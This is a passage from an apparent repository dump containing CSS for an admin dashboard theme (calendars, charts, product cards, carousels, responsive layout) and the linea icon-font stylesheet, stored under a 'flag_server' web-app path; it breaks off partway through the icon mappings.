button:focus,\n.fc-toolbar button:hover,\n.fc-toolbar .ui-state-hover {\n  z-index: 0;\n}\n.fc-widget-header {\n  border: 1px solid #e7e7e7;\n}\n.fc-widget-content {\n  border: 1px solid #e7e7e7;\n}\n.fc th.fc-widget-header {\n  background: #e7e7e7;\n  font-size: 14px;\n  line-height: 20px;\n  padding: 10px 0px;\n  text-transform: uppercase;\n}\n.fc-button {\n  background: #ffffff;\n  border: 1px solid #e7e7e7;\n  color: #455a64;\n  text-transform: capitalize;\n}\n.fc-text-arrow {\n  font-family: inherit;\n  font-size: 16px;\n}\n.fc-state-hover {\n  background: #eef5f9 !important;\n}\n.fc-state-highlight {\n  background: #eef5f9 !important;\n}\n.fc-cell-overlay {\n  background: #eef5f9 !important;\n}\n.fc-unthemed .fc-today {\n  background: #ffffff !important;\n}\n.fc-event {\n  border-radius: 2px;\n  border: none;\n  cursor: move;\n  font-size: 13px;\n  margin: 5px 7px;\n  padding: 5px 5px;\n  text-align: center;\n}\n.external-event {\n  color: #ffffff;\n  cursor: move;\n  margin: 10px 0;\n  padding: 6px 10px;\n}\n.fc-basic-view td.fc-week-number span {\n  padding-right: 5px;\n}\n.fc-basic-view td.fc-day-number {\n  padding-right: 5px;\n}\n#drop-remove {\n  margin: 0px;\n  top: 3px;\n}\n#event-modal .modal-dialog,\n#add-category .modal-dialog {\n  max-width: 600px;\n}\n.flotTip {\n  background: #252525;\n  border: 1px solid #252525;\n  padding: 5px 15px;\n  color: #ffffff;\n}\n.flot-container {\n  box-sizing: border-box;\n  width: 100%;\n  height: 275px;\n  padding: 20px 15px 15px;\n  margin: 15px auto 30px;\n  background: transparent;\n}\n.flot-pie-container {\n  height: 275px;\n}\n.flotBar-container {\n  height: 275px;\n}\n.flot-line {\n  width: 100%;\n  height: 100%;\n  font-size: 14px;\n  line-height: 1.2em;\n}\n.legend table {\n  border-spacing: 5px;\n}\n#chart1,\n#flotBar,\n#flotCurve {\n  width: 100%;\n  height: 275px;\n}\n.cpu-load {\n  height: 345px;\n}\n.morris-hover {\n  position: absolute;\n  z-index: 1;\n}\n.morris-hover.morris-default-style .morris-hover-row-label {\n  font-weight: bold;\n  margin: 0.25em 0;\n}\n.morris-hover.morris-default-style .morris-hover-point {\n  white-space: nowrap;\n  margin: 0.1em 0;\n}\n.morris-hover.morris-default-style {\n  border-radius: 2px;\n  padding: 10px 12px;\n  color: #666;\n  background: rgba(0, 0, 0, 0.7);\n  border: none;\n  color: #fff!important;\n}\n.morris-hover-point {\n  color: rgba(255, 255, 255, 0.8) !important;\n}\n#morris-bar-chart,\n#morris-line-chart {\n  height: 300px;\n}\n.products_1 {\n  padding-top: 5px;\n  padding-bottom: 5px;\n}\n.products_1 .pr_img_price {\n  position: relative;\n}\n.products_1 .pr_img_price .product_price {\n  min-width: 50px;\n  min-height: 50px;\n  background: #26dad2;\n  border-radius: 100%;\n  position: absolute;\n  top: 0;\n  right: 0;\n}\n.products_1 .pr_img_price .product_price p {\n  padding-top: 15px;\n  color: #ffffff;\n  font-size: 14px;\n  font-weight: 600;\n}\n.products_1 .product_details .product_name {\n  padding-top: 30px;\n}\n.products_1 .product_details .prdt_add_to_cart {\n  padding-top: 10px;\n}\n.products_1 .product_details .prdt_add_to_cart button {\n  padding: 10px 20px;\n  text-transform: uppercase;\n  font-weight: 600;\n}\n.product-2-details .table > tbody > tr > td {\n  border: none;\n}\n.product-2-details .product-2-des {\n  margin-top: 25px;\n}\n.product-2-details .product-2-des .product_name h4 {\n  font-size: 15px;\n  font-weight: 600;\n}\n.product-2-details .product-2-des .product_des p {\n  font-size: 13px;\n  font-style: italic;\n}\n.product-2-details .product-2-button {\n  border-left: 1px solid #e7e7e7;\n  margin-top: 25px;\n}\n.product-2-details .product-2-button .prdt_add_to_curt {\n  padding-top: 10px;\n}\n.product-2-details .product-2-button .prdt_add_to_curt button {\n  font-size: 11px;\n  text-transform: uppercase;\n  font-weight: 600;\n}\n.product-3-img img {\n  width: 100%;\n}\n.product_details_3 {\n  padding: 15px 0px;\n}\n.product_details_3 .product_name h4 {\n  font-size: 15px;\n  font-weight: 600;\n}\n.product_details_3 .product_des {\n  padding-bottom: 5px;\n}\n.product_details_3 .prdt_add_to_curt {\n  padding-top: 10px;\n}\n.product_details_3 .prdt_add_to_curt button {\n  text-transform: uppercase;\n  font-weight: 600;\n}\n.favourite-menu-details .table > tbody > tr > td {\n  border-top: none;\n  border-bottom: 1px solid #e7e7e7;\n}\n.favourite-menu-details .favourite-menu-img {\n  border-right: 1px solid #e7e7e7;\n  margin-bottom: 25px;\n  width: 120px;\n}\n.favourite-menu-details .favourite-menu-des {\n  margin-top: 40px;\n  margin-right: 465px;\n}\n.favourite-menu-details .favourite-menu-des .product_name h4 {\n  font-weight: 600;\n  text-align: left;\n}\n.favourite-menu-details .favourite-menu-button {\n  margin-top: 40px;\n}\n.favourite-menu-details .favourite-menu-button .prdt_add_to_curt {\n  padding-top: 10px;\n}\n.favourite-menu-details .favourite-menu-button .prdt_add_to_curt button {\n  font-size: 11px;\n  text-transform: uppercase;\n  font-weight: 600;\n}\n.order-list-item table tbody > tr > td {\n  padding-top: 8px;\n  border-top: 1px solid #e7e7e7;\n}\n.order-list-item table thead > tr > th {\n  border-bottom: 1px solid #e7e7e7;\n}\n.order-list-item thead {\n  background: #4680ff;\n  text-align: left;\n}\n.order-list-item thead th {\n  color: #ffffff;\n  font-weight: bold;\n}\n.order-list-item tbody {\n  background: #ffffff;\n  text-align: left;\n}\n.order-list-item tbody td {\n  color: #444444;\n}\n.booking-system-feedback {\n  top: 5px !important;\n  right: 15px;\n}\n.booking-system-top {\n  padding-top: 15px;\n}\n.media-body {\n  vertical-align: middle;\n}\n.media-body span {\n  font-size: 10px;\n  color: #4680ff;\n}\n.media-body p {\n  color: #99abb4;\n  line-height: 15px;\n}\n.example {\n  overflow: hidden;\n  border: 1px solid #e7e7e7;\n  -webkit-box-shadow: 1px 1px 2px 0px rgba(200, 200, 200, 0.3);\n  -moz-box-shadow: 1px 1px 2px 0px rgba(200, 200, 200, 0.3);\n  box-shadow: 1px 1px 2px 0px rgba(200, 200, 200, 0.3);\n  background-color: #eef5f9;\n  text-align: justify;\n}\n.example p {\n  padding: 20px 20px 0px 20px;\n  font-size: 12px;\n}\n.box,\n.simple {\n  height: 300px;\n}\n.scrollable-auto-x {\n  overflow-x: auto;\n  overflow-y: hidden;\n}\n.scrollable-auto-y {\n  overflow-y: auto;\n  overflow-x: hidden;\n}\n.scrollable-auto {\n  overflow: auto;\n}\n.vmap {\n  width: 100%;\n  height: 400px;\n}\n.dark-browse-input-box {\n  border-radius: 0;\n  -webkit-border-radius: 0 !important;\n  -moz-border-radius: 0 !important;\n  -webkit-box-shadow: none !important;\n  -moz-box-shadow: none !important;\n  box-shadow: none !important;\n  font-size: 12px;\n  color: #000000;\n  border: 1px solid #e7e7e7;\n}\n.dark-browse-input-box .dark-input-button {\n  border-radius: 0;\n  -webkit-border-radius: 0 !important;\n  -moz-border-radius: 0 !important;\n  background: #ffffff;\n  border: none !important;\n  color: #4680ff;\n}\n.dark-browse-input-box .dark-input-button i {\n  font-weight: bold;\n  font-size: 17px;\n}\n.dark-browse-input-box .dark-input-button:hover {\n  background: #ffffff;\n  color: #4680ff;\n  -webkit-transition: all 0.3s;\n  -moz-transition: all 0.3s;\n  transition: all 0.3s;\n  border: none !important;\n}\n.dark-browse-input-box .dark-input-button:focus {\n  outline: none;\n  border: none !important;\n  background: none !important;\n}\n.file-input {\n  position: relative;\n  font-size: 14px;\n}\n.file-input label {\n  position: absolute;\n  top: -2px;\n  right: 0;\n  bottom: 0;\n  margin: 0;\n}\n.file-input label:focus {\n  outline: none;\n  border: none !important;\n  background: none !important;\n}\n.file-input .btn {\n  position: absolute;\n  right: 6px;\n  top: 7px;\n  bottom: 6px;\n  max-width: 100px;\n  padding-top: 0;\n  padding-bottom: 0;\n  font-size: 12px;\n  line-height: 32px;\n}\n.file-input .btn input {\n  width: 0;\n  height: 0;\n}\n.file-input .file-name {\n  float: left;\n  width: 100%;\n  border: 0;\n  background: transparent;\n}\n.media-stats-content .stats-content {\n  padding: 30px 0px;\n}\n.media-stats-content .stats-content .stats-digit {\n  font-size: 24px;\n  font-weight: 300;\n  margin-bottom: 10px;\n}\n.media-stats-content .stats-content .stats-text {\n  font-size: 14px;\n}\n.media-stats-content .stats-content .table td {\n  line-height: 40px!important;\n}\n.carousel.vertical .carousel-inner {\n  position: relative;\n  overflow: hidden;\n  width: 100%;\n}\n.carousel.vertical .carousel-inner > .item {\n  display: none;\n  position: relative;\n  transition: top 0.6s ease-in-out;\n}\n.carousel.vertical .carousel-inner > .item > img,\n.carousel.vertical .carousel-inner > .item > a > img {\n  line-height: 1;\n}\n@media all and (transform-3d), (-webkit-transform-3d) {\n  .carousel.vertical .carousel-inner > .item {\n    transition: transform 0.6s ease-in-out;\n    backface-visibility: hidden;\n    perspective: 1000;\n  }\n  .carousel.vertical .carousel-inner > .item.next,\n  .carousel.vertical .carousel-inner > .item.active.right {\n    transform: translate3d(0, 100%, 0);\n    top: 0;\n  }\n  .carousel.vertical .carousel-inner > .item.prev,\n  .carousel.vertical .carousel-inner > .item.active.left {\n    transform: translate3d(0, -100%, 0);\n    top: 0;\n  }\n  .carousel.vertical .carousel-inner > .item.next.left,\n  .carousel.vertical .carousel-inner > .item.prev.right,\n  .carousel.vertical .carousel-inner > .item.active {\n    transform: translate3d(0, 0, 0);\n    top: 0;\n    width: 100%;\n  }\n}\n.carousel.vertical .carousel-inner > .active,\n.carousel.vertical .carousel-inner > .next,\n.carousel.vertical .carousel-inner > .prev {\n  display: block;\n}\n.carousel.vertical .carousel-inner > .active {\n  top: 0;\n}\n.carousel.vertical .carousel-inner > .next,\n.carousel.vertical .carousel-inner > .prev {\n  position: absolute;\n  top: 0;\n  width: 100%;\n}\n.carousel.vertical .carousel-inner > .next {\n  top: 100%;\n}\n.carousel.vertical .carousel-inner > .prev {\n  top: -100%;\n}\n.carousel.vertical .carousel-inner > .next.left,\n.carousel.vertical .carousel-inner > .prev.right {\n  top: 0;\n}\n.carousel.vertical .carousel-inner > .active.left {\n  top: -100%;\n}\n.carousel.vertical .carousel-inner > .active.right {\n  top: 100%;\n}\n.ct-label {\n  color: rgba(0, 0, 0, 0.8);\n  fill: rgba(0, 0, 0, 0.8);\n  font-size: 10px;\n}\n.ct-chart-pie .ct-label {\n  color: rgba(0, 0, 0, 0.8);\n  fill: rgba(0, 0, 0, 0.8);\n  font-size: 12px;\n}\n.ct-series-a .ct-bar,\n.ct-series-a .ct-line,\n.ct-series-a .ct-point,\n.ct-series-a .ct-slice-donut {\n  stroke: #26dad2;\n}\n.ct-series-b .ct-bar,\n.ct-series-b .ct-line,\n.ct-series-b .ct-point,\n.ct-series-b .ct-slice-donut {\n  stroke: #4680ff;\n}\n.ct-series-c .ct-bar,\n.ct-series-c .ct-line,\n.ct-series-c .ct-point,\n.ct-series-c .ct-slice-donut {\n  stroke: #fc6180;\n}\n.ct-series-d .ct-bar,\n.ct-series-d .ct-line,\n.ct-series-d .ct-point,\n.ct-series-d .ct-slice-donut {\n  stroke: #ffb64d;\n}\n.ct-series-a .ct-area,\n.ct-series-a .ct-slice-donut-solid,\n.ct-series-a .ct-slice-pie {\n  fill: #26dad2;\n}\n.ct-series-b .ct-area,\n.ct-series-b .ct-slice-donut-solid,\n.ct-series-b .ct-slice-pie {\n  fill: #4680ff;\n}\n.ct-series-c .ct-area,\n.ct-series-c .ct-slice-donut-solid,\n.ct-series-c .ct-slice-pie {\n  fill: #fc6180;\n}\n@media (max-width: 667px) {\n  .dt-buttons {\n    margin-left: 10px;\n  }\n}\n@media (max-width: 480px) {\n  .dt-buttons {\n    display: inline-block;\n  }\n}\n.pace {\n  -webkit-pointer-events: none;\n  pointer-events: none;\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  user-select: none;\n}\n.pace-inactive {\n  display: none;\n}\n.pace .pace-progress {\n  background: #26dad2;\n  position: fixed;\n  z-index: 2000;\n  top: 0;\n  right: 100%;\n  width: 100%;\n  height: 2px;\n}\n.pace .pace-progress-inner {\n  display: block;\n  position: absolute;\n  right: 0px;\n  width: 100px;\n  height: 100%;\n  box-shadow: 0 0 10px #29d, 0 0 5px #29d;\n  opacity: 1.0;\n  -webkit-transform: rotate(3deg) translate(0px, -4px);\n  -moz-transform: rotate(3deg) translate(0px, -4px);\n  -ms-transform: rotate(3deg) translate(0px, -4px);\n  -o-transform: rotate(3deg) translate(0px, -4px);\n  transform: rotate(3deg) translate(0px, -4px);\n}\n.pace .pace-activity {\n  display: block;\n  position: fixed;\n  z-index: 2000;\n  top: 5px;\n  right: 5px;\n  width: 14px;\n  height: 14px;\n  border: solid 2px transparent;\n  border-top-color: #26dad2;\n  border-left-color: #26dad2;\n  border-radius: 10px;\n  -webkit-animation: pace-spinner 400ms linear infinite;\n  -moz-animation: pace-spinner 400ms linear infinite;\n  -ms-animation: pace-spinner 400ms linear infinite;\n  -o-animation: pace-spinner 400ms linear infinite;\n  animation: pace-spinner 400ms linear infinite;\n}\n@-webkit-keyframes pace-spinner {\n  0% {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n  100% {\n    -webkit-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n@-moz-keyframes pace-spinner {\n  0% {\n    -moz-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n  100% {\n    -moz-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n@-o-keyframes pace-spinner {\n  0% {\n    -o-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n  100% {\n    -o-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n@-ms-keyframes pace-spinner {\n  0% {\n    -ms-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n  100% {\n    -ms-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n@keyframes pace-spinner {\n  0% {\n    transform: rotate(0deg);\n  }\n  100% {\n    transform: rotate(360deg);\n  }\n}\n.superpose {\n  color: #EEE;\n  height: 350px;\n  width: 100%;\n}\n.superclock {\n  position: relative;\n  width: 300px;\n  margin: auto;\n}\n.superclock1 {\n  position: absolute;\n  left: 10px;\n  top: 10px;\n}\n.superclock2 {\n  position: absolute;\n  left: 60px;\n  top: 60px;\n}\n.superclock3 {\n  position: absolute;\n  left: 110px;\n  top: 110px;\n}\n.header-search {\n  float: right;\n  margin-left: 15px;\n  position: relative;\n}\n.header-search .form-control {\n  height: 36px;\n  width: 250px;\n  border-radius: 5px;\n  font-size: 14px;\n}\n.header-search i {\n  position: absolute;\n  right: 5px;\n  top: 5px;\n  cursor: pointer;\n  height: 30px;\n  padding: 5px;\n  width: 30px;\n}\n.media-text-right {\n  text-align: right;\n}\n.media-text-left {\n  text-align: left;\n}\n.boxshadow-none {\n  box-shadow: none;\n}\n.progress-sm {\n  height: 8px;\n}\n.bg-warning-dark {\n  background: #e7b63a;\n}\n.bg-info-dark {\n  background: #8b67c9;\n}\n.bg-danger-dark {\n  background: #e63327;\n}\n.bg-success-dark {\n  background: #2ed3aa;\n}\n.bg-primary-dark {\n  background: #0095e1;\n}\n.widget-card-circle i {\n  font-size: 30px;\n  left: 0;\n  line-height: 97px;\n  right: 0;\n  text-align: center;\n}\n.widget-line-list li {\n  display: inline-block;\n  font-size: 1.2em;\n  line-height: 27px;\n  padding: 5px 20px 0 15px;\n}\n.widget-line-list li span {\n  font-size: 14px;\n}\n.height-150 {\n  height: 150px;\n}\n.social-connect ul li {\n  display: inline-block;\n}\n.social-connect ul li a {\n  display: inline-block;\n  margin: 0 5px;\n  padding: 12px 15px;\n  border-radius: 4px;\n}\n.user-card-absolute {\n  top: 115px;\n  left: 0;\n  right: 0;\n}\n.box-shadow {\n  box-shadow: 0 2px 5px 0 rgba(0, 0, 0, 0.16), 0 2px 10px 0 rgba(0, 0, 0, 0.12);\n}\n.social-pad {\n  padding: 40px 30px 110px;\n}\n.round-img img {\n  border-radius: 100px;\n}\n.blockquote-box {\n  border-right: 5px solid #E6E6E6;\n  margin-bottom: 25px;\n}\n.blockquote-box .square {\n  width: 100px;\n  min-height: 50px;\n  margin-right: 22px;\n  text-align: center!important;\n  background-color: #E6E6E6;\n  padding: 20px 0;\n}\n.blockquote-box .blockquote-primary {\n  border-color: #4680ff;\n}\n.blockquote-box .blockquote-primary .square {\n  background-color: #4680ff;\n  color: #ffffff;\n}\n.blockquote-box .blockquote-success {\n  border-color: #26dad2;\n}\n.blockquote-box .blockquote-success .square {\n  background-color: #26dad2;\n  color: #ffffff;\n}\n.blockquote-box .blockquote-info {\n  border-color: #62d1f3;\n}\n.blockquote-box .blockquote-info .square {\n  background-color: #62d1f3;\n  color: #ffffff;\n}\n.blockquote-box .blockquote-warning {\n  border-color: #ffb64d;\n}\n.blockquote-box .blockquote-warning .square {\n  background-color: #ffb64d;\n  color: #ffffff;\n}\n.blockquote-box .blockquote-danger {\n  border-color: #d43f3a;\n}\n.blockquote-box .blockquote-danger .square {\n  background-color: #fc6180;\n  color: #ffffff;\n}\n.error-box {\n  height: 100%;\n  position: fixed;\n  width: 100%;\n}\n.error-box .footer {\n  left: 0;\n  right: 0;\n  width: 100%;\n}\n.error-body {\n  left: 0;\n  position: absolute;\n  right: 0;\n  top: 50%;\n  transform: translateY(-50%);\n}\n.error-body h1 {\n  font-size: 150px;\n  font-weight: 900;\n  line-height: 210px;\n  color: #444c67;\n}\n/*\n/* Version: 1.0\n*/\n/*-------- css code for responsive layout  --------*/\n/*  To make Responsive\n---------------------------------------------------------------------- /\n*\t1 - media screen and (max-width: 1750px)\n*   2 - media screen and (max-width: 1680px)\n*   3 - media screen and (max-width: 1280px)\n*   4 - media screen and (max-width: 1199px)\n*   5 - media screen and (max-width: 1024px)\n*   6 - media screen and (max-width: 991px)\n*   7 - media screen and (max-width: 767px)\n*   8 - media screen and (max-width: 680px)\n*   9 - media screen and (max-width: 480px)\n*   10 - media screen and (max-width: 320px)\n*\n---------------------------------------------------------------------- */\n/*  1 - media screen and (max-width: 1750px)\n---------------------------------------------------------------------- */\n/*  1 - media screen and (max-width: 1750px)\n---------------------------------------------------------------------- */\n/*  1 - media screen and (max-width: 1750px) End\n---------------------------------------------------------------------- */\n/*  2 - media screen and (max-width: 1680px)\n---------------------------------------------------------------------- */\n/*  2 - media screen and (max-width: 1680px) End\n---------------------------------------------------------------------- */\n/*  3 - media screen and (max-width: 1280px)\n---------------------------------------------------------------------- */\n/*  3 - media screen and (max-width: 1280px) End\n---------------------------------------------------------------------- */\n/*  4 - media screen and (max-width: 1199px)\n---------------------------------------------------------------------- */\n/*  4 - media screen and (max-width: 1199px) End\n---------------------------------------------------------------------- */\n/*  5 - media screen and (max-width: 1024px)\n---------------------------------------------------------------------- */\n@media (min-width: 992px) and (max-width: 1199px) {\n  .title-margin-right {\n    margin-right: 7px !important;\n  }\n  .title-margin-left {\n    margin-left: 7px !important;\n  }\n}\n/*  5 - media screen and (max-width: 1024px) End\n---------------------------------------------------------------------- */\n/*  6 - media screen and (max-width: 991px)\n---------------------------------------------------------------------- */\n@media (min-width: 768px) and (max-width: 991px) {\n  .title-margin-right {\n    margin-right: 7px !important;\n  }\n  .title-margin-left {\n    margin-left: 7px !important;\n  }\n}\n/*  6 - media screen and (max-width: 991px) End\n---------------------------------------------------------------------- */\n/*  7 - media screen and (max-width: 767px)\n---------------------------------------------------------------------- */\n@media (min-width: 680px) and (max-width: 767px) {\n  .title-margin-right {\n    margin-right: 7px !important;\n  }\n  .title-margin-left {\n    margin-left: 7px !important;\n  }\n  .footer {\n    left: 0;\n  }\n}\n/*  7 - media screen and (max-width: 767px) End\n---------------------------------------------------------------------- */\n/*  8 - media screen and (max-width: 680px)\n---------------------------------------------------------------------- */\n@media (min-width: 480px) and (max-width: 679px) {\n  .title-margin-right {\n    margin-right: 7px !important;\n  }\n  .title-margin-left {\n    margin-left: 7px !important;\n  }\n  .inbox-pagination {\n    margin-top: 30px;\n    float: left !important;\n  }\n  .card-badge .label {\n    display: inline-block;\n    margin-bottom: 5px;\n    padding: 5px;\n  }\n  .mail-box .sm-side {\n    width: 100%;\n  }\n  .mail-box aside {\n    display: inline;\n  }\n  .footer {\n    left: 0;\n  }\n}\n/*  8 - media screen and (max-width: 680px) End\n---------------------------------------------------------------------- */\n/*  9 - media screen and (max-width: 480px)\n---------------------------------------------------------------------- */\n@media (min-width: 360px) and (max-width: 479px) {\n  .title-margin-right {\n    margin-right: 7px !important;\n  }\n  .title-margin-left {\n    margin-left: 7px !important;\n  }\n  #project {\n    margin-left: 0;\n  }\n  .fc-toolbar .fc-right {\n    float: left;\n    margin-top: 15px;\n  }\n  .card-badge .label {\n    display: inline-block;\n    margin-bottom: 5px;\n    padding: 5px;\n  }\n  .mail-box .sm-side {\n    width: 100%;\n  }\n  .mail-box aside {\n    display: inline;\n  }\n  .footer {\n    left: 0;\n  }\n}\n/*  9 - media screen and (max-width: 360px) End\n---------------------------------------------------------------------- */\n/*  10 - media screen and (max-width: 320px)\n---------------------------------------------------------------------- */\n@media (min-width: 320px) and (max-width: 359px) {\n  .title-margin-right {\n    margin-right: 7px !important;\n  }\n  .title-margin-left {\n    margin-left: 7px !important;\n  }\n  #project {\n    margin-left: 0;\n  }\n  .fc-toolbar .fc-right {\n    float: left;\n    margin-top: 15px;\n  }\n  .br-theme-bars-pill .br-widget a {\n    padding: 7px 12px;\n  }\n  .br-theme-bars-reversed .br-widget .br-current-rating {\n    padding: 0;\n  }\n  .alert-rating {\n    padding-bottom: 40px;\n  }\n  .card-badge .label {\n    display: inline-block;\n    margin-bottom: 5px;\n    padding: 5px;\n  }\n  .mail-box .sm-side {\n    width: 100%;\n  }\n  .mail-box aside {\n    display: inline;\n  }\n  .chk-group {\n    margin-bottom: 10px;\n  }\n  .pagination-list {\n    float: left !important;\n    margin-top: 10px;\n  }\n  .inner-append {\n    position: relative;\n  }\n  .inner-append .append-btn {\n    position: absolute;\n    right: 0;\n    top: 0;\n  }\n  .input-text {\n    margin-bottom: 12px;\n  }\n  .footer {\n    left: 0;\n  }\n}\n/*  10 - media screen and (max-width: 320px)\n---------------------------------------------------------------------- */\n/*---------------------------------------------------------------*/\n/* Retina */\n/*---------------------------------------------------------------*/\n@media only screen and (-webkit-min-device-pixel-ratio: 2), only screen and (min-moz-device-pixel-ratio: 2), only screen and (-o-min-device-pixel-ratio: 2/1), only screen and (min-device-pixel-ratio: 2), only screen and (min-resolution: 192dpi), only screen and (min-resolution: 2dppx) {\n  .default-logo {\n    display: none !important;\n  }\n  .retina-logo {\n    display: inline-block !important;\n  }\n}\n"
  },
  {
    "path": "flag_server/webapps/static/icons/linea-icons/linea.css",
    "content": "@charset \"UTF-8\";\n.glyphs.character-mapping {\n  margin: 0 0 20px 0;\n  padding: 20px 0 20px 30px;\n  color: rgba(0,0,0,0.5);\n  border: 1px solid #d8e0e5;\n  -webkit-border-radius: 3px;\n  border-radius: 3px;\n}\n.glyphs.character-mapping li {\n  margin: 0 30px 20px 0;\n  display: inline-block;\n  width: 90px;\n  text-align: center;\n  font-size: 24px;\n  color: ;\n}\n.linea-icon {\n  position: relative;\n}\n.linea-icon svg {\n  fill: #000;\n}\n.glyphs.character-mapping input {\n  margin: 0;\n  padding: 5px 0;\n  line-height: 12px;\n  font-size: 12px;\n  display: block;\n  width: 100%;\n  border: 1px solid #d8e0e5;\n  text-align: center;\n  outline: 0;\n}\n.glyphs.character-mapping input:focus {\n  border: 1px solid #fbde4a;\n  -webkit-box-shadow: inset 0 0 3px #fbde4a;\n  box-shadow: inset 0 0 3px #fbde4a;\n}\n.glyphs.character-mapping input:hover {\n  -webkit-box-shadow: inset 0 0 3px #fbde4a;\n  box-shadow: inset 0 0 3px #fbde4a;\n}\n@font-face {\n  font-family: \"linea-arrows-10\";\n  src: url(\"fonts/linea-arrows-10.eot\");\n  src: url(\"fonts/linea-arrows-10d41d.eot?#iefix\") format(\"embedded-opentype\"), url(\"fonts/linea-arrows-10.woff\") format(\"woff\"), url(\"fonts/linea-arrows-10.ttf\") format(\"truetype\"), url(\"fonts/linea-arrows-10.svg#linea-arrows-10\") format(\"svg\");\n  font-weight: normal;\n  font-style: normal;\n}\n.linea-aerrow[data-icon]:before {\n  font-family: \"linea-arrows-10\" !important;\n  content: attr(data-icon);\n  font-style: normal !important;\n  font-weight: normal !important;\n  font-variant: normal !important;\n  text-transform: none !important;\n  speak: none;\n  line-height: 1;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n[class^=\"linea-icon-\"]:before,\n[class*=\"linea- icon-\"]:before {\n  font-family: \"linea-arrows-10\" !important;\n  font-style: normal !important;\n  font-weight: normal !important;\n  font-variant: normal !important;\n  text-transform: none !important;\n  speak: none;\n  line-height: 1;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n.icon-arrows-anticlockwise:before {\n  content: \"\\e000\";\n}\n.icon-arrows-anticlockwise-dashed:before {\n  content: \"\\e001\";\n}\n.icon-arrows-button-down:before {\n  content: \"\\e002\";\n}\n.icon-arrows-button-off:before {\n  content: \"\\e003\";\n}\n.icon-arrows-button-on:before {\n  content: \"\\e004\";\n}\n.icon-arrows-button-up:before {\n  content: \"\\e005\";\n}\n.icon-arrows-check:before {\n  content: \"\\e006\";\n}\n.icon-arrows-circle-check:before {\n  content: \"\\e007\";\n}\n.icon-arrows-circle-down:before {\n  content: \"\\e008\";\n}\n.icon-arrows-circle-downleft:before {\n  content: \"\\e009\";\n}\n.icon-arrows-circle-downright:before {\n  content: \"\\e00a\";\n}\n.icon-arrows-circle-left:before {\n  content: \"\\e00b\";\n}\n.icon-arrows-circle-minus:before {\n  content: \"\\e00c\";\n}\n.icon-arrows-circle-plus:before {\n  content: \"\\e00d\";\n}\n.icon-arrows-circle-remove:before {\n  content: \"\\e00e\";\n}\n.icon-arrows-circle-right:before {\n  content: \"\\e00f\";\n}\n.icon-arrows-circle-up:before {\n  content: \"\\e010\";\n}\n.icon-arrows-circle-upleft:before {\n  content: \"\\e011\";\n}\n.icon-arrows-circle-upright:before {\n  content: \"\\e012\";\n}\n.icon-arrows-clockwise:before {\n  content: \"\\e013\";\n}\n.icon-arrows-clockwise-dashed:before {\n  content: \"\\e014\";\n}\n.icon-arrows-compress:before {\n  content: \"\\e015\";\n}\n.icon-arrows-deny:before {\n  content: \"\\e016\";\n}\n.icon-arrows-diagonal:before {\n  content: \"\\e017\";\n}\n.icon-arrows-diagonal2:before {\n  content: \"\\e018\";\n}\n.icon-arrows-down:before {\n  content: \"\\e019\";\n}\n.icon-arrows-down-double:before {\n  content: \"\\e01a\";\n}\n.icon-arrows-downleft:before {\n  content: \"\\e01b\";\n}\n.icon-arrows-downright:before {\n  content: \"\\e01c\";\n}\n.icon-arrows-drag-down:before {\n  content: \"\\e01d\";\n}\n.icon-arrows-drag-down-dashed:before {\n  content: \"\\e01e\";\n}\n.icon-arrows-drag-horiz:before {\n  content: \"\\e01f\";\n}\n.icon-arrows-drag-left:before {\n  content: \"\\e020\";\n}\n.icon-arrows-drag-left-dashed:before {\n  content: \"\\e021\";\n}\n.icon-arrows-drag-right:before {\n  content: \"\\e022\";\n}\n.icon-arrows-drag-right-dashed:before {\n  content: \"\\e023\";\n}\n.icon-arrows-drag-up:before {\n  content: \"\\e024\";\n}\n.icon-arrows-drag-up-dashed:before {\n  content: \"\\e025\";\n}\n.icon-arrows-drag-vert:before {\n  content: \"\\e026\";\n}\n.icon-arrows-exclamation:before {\n  content: \"\\e027\";\n}\n.icon-arrows-expand:before {\n  content: \"\\e028\";\n}\n.icon-arrows-expand-diagonal1:before {\n  content: \"\\e029\";\n}\n.icon-arrows-expand-horizontal1:before {\n  content: \"\\e02a\";\n}\n.icon-arrows-expand-vertical1:before {\n  content: \"\\e02b\";\n}\n.icon-arrows-fit-horizontal:before {\n  content: \"\\e02c\";\n}\n.icon-arrows-fit-vertical:before {\n  content: \"\\e02d\";\n}\n.icon-arrows-glide:before {\n  content: \"\\e02e\";\n}\n.icon-arrows-glide-horizontal:before {\n  content: \"\\e02f\";\n}\n.icon-arrows-glide-vertical:before {\n  content: \"\\e030\";\n}\n.icon-arrows-hamburger1:before {\n  content: \"\\e031\";\n}\n.icon-arrows-hamburger-2:before {\n  content: \"\\e032\";\n}\n.icon-arrows-horizontal:before {\n  content: \"\\e033\";\n}\n.icon-arrows-info:before {\n  content: \"\\e034\";\n}\n.icon-arrows-keyboard-alt:before {\n  content: \"\\e035\";\n}\n.icon-arrows-keyboard-cmd:before {\n  content: \"\\e036\";\n}\n.icon-arrows-keyboard-delete:before {\n  content: \"\\e037\";\n}\n.icon-arrows-keyboard-down:before {\n  content: \"\\e038\";\n}\n.icon-arrows-keyboard-left:before {\n  content: \"\\e039\";\n}\n.icon-arrows-keyboard-return:before {\n  content: \"\\e03a\";\n}\n.icon-arrows-keyboard-right:before {\n  content: \"\\e03b\";\n}\n.icon-arrows-keyboard-shift:before {\n  content: \"\\e03c\";\n}\n.icon-arrows-keyboard-tab:before {\n  content: \"\\e03d\";\n}\n.icon-arrows-keyboard-up:before {\n  content: \"\\e03e\";\n}\n.icon-arrows-left:before {\n  content: \"\\e03f\";\n}\n.icon-arrows-left-double-32:before {\n  content: \"\\e040\";\n}\n.icon-arrows-minus:before {\n  content: \"\\e041\";\n}\n.icon-arrows-move:before {\n  content: \"\\e042\";\n}\n.icon-arrows-move2:before {\n  content: \"\\e043\";\n}\n.icon-arrows-move-bottom:before {\n  content: \"\\e044\";\n}\n.icon-arrows-move-left:before {\n  content: 